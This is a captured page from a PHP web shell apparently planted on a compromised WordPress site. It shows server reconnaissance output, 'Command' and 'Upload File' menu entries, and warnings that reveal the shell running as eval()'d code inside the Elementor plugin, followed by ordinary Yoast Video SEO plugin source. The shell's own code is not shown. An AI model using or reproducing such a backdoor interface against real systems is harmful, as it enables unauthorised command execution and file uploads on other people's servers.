|
Server IP : 172.19.0.4 / Your IP : 216.73.216.172 Web Server : nginx/1.28.3 System : Linux VM-0-4-debian 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 341 OFF Directory (0755) : /data1/wwwroot/sc-forklift.com/wp-content/plugins/wpseo-video/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Yoast SEO Video plugin file.
*
* @package Yoast\VideoSEO
*/
/**
* Initializes the Video SEO module on plugins loaded.
*
* This way WordPress SEO should have set its constants and loaded its main classes.
*
* @since 0.2
*/
function yoast_wpseo_video_seo_init() {
$bootstrap = new WPSEO_Video_Bootstrap();
$bootstrap->add_hooks();
}
/**
* Executes option cleanup actions on activate.
*
* There are a couple of things being done on activation:
* - Cleans up the options to be sure it's set well.
* - Activates the license, because updating the plugin results in deactivating the license.
* - Clears the sitemap cache to rebuild the sitemap.
*/
function yoast_wpseo_video_activate() {
WPSEO_Video_Utils::load_textdomain();
$bootstrap = new WPSEO_Video_Bootstrap();
if ( ! $bootstrap->is_yoast_seo_active() ) {
return;
}
$option_instance = WPSEO_Option_Video::get_instance();
$option_instance->clean();
// Enable tracking.
WPSEO_Options::set( 'tracking', true );
yoast_wpseo_video_clear_sitemap_cache();
}
/**
* Empties sitemap cache on plugin deactivate.
*
* @since 3.8.0
*/
function yoast_wpseo_video_deactivate() {
yoast_wpseo_video_clear_sitemap_cache();
}
/**
* Clears the sitemap index.
*
* @since 3.8.0
*/
function yoast_wpseo_video_clear_sitemap_cache() {
$bootstrap = new WPSEO_Video_Bootstrap();
if ( ! $bootstrap->is_yoast_seo_active() ) {
return;
}
WPSEO_Video_Wrappers::invalidate_sitemap( WPSEO_Video_Sitemap::get_video_sitemap_basename() );
}